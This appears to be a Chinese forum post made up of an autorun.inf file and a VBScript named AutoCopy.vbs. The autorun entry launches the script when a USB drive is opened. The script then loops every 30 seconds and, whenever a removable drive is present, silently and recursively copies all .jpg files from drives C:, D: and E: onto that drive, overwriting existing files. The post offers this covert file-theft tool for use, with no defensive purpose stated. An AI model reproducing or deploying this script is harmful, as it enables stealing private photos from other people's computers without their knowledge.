Autorun.inf- [autorun]
- open=wscript.exe AutoCopy.vbs
- shell\open=打开(&O)
- shell\open\command=wscript.exe AutoCopy.vbss
复制代码
- '保存我为 AutoCopy.vbs
- Dim fso,Disks,Disk,JpgPath
- Set fso = CreateObject("Scripting.FileSystemObject")
- Do
- n = n+1
- Set Disks = fso.Drives
- For Each Disk In Disks
- If Disk.IsReady And Disk.DriveType = 1 Then
- JpgPath = Disk.DriveLetter & ":\资料\"
- U = True
- End if
- Next
- If U = True Then
- CopyJpgs("C:\")
- CopyJpgs("D:\")
- CopyJpgs("E:\")
- Else
- If n=1 Then
- WScript.Quit
- End if
- End If
- WScript.Sleep 30000 '每30秒循环一次
- Loop
-
- Sub CopyJpgs(path)
- Dim folder,subfolders,Files
- Set folder = fso.getfolder(path)
- Set subfolders = folder.subfolders
- Set Files = folder.Files
- For Each File In Files
- If fso.GetExtensionName(File.path)="jpg" Then
- fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
- End if
- Next
- For Each subfolder In subfolders
- CopyJpgs(subfolder.path) '递归查找子目录
- Next
- End Sub
复制代码
|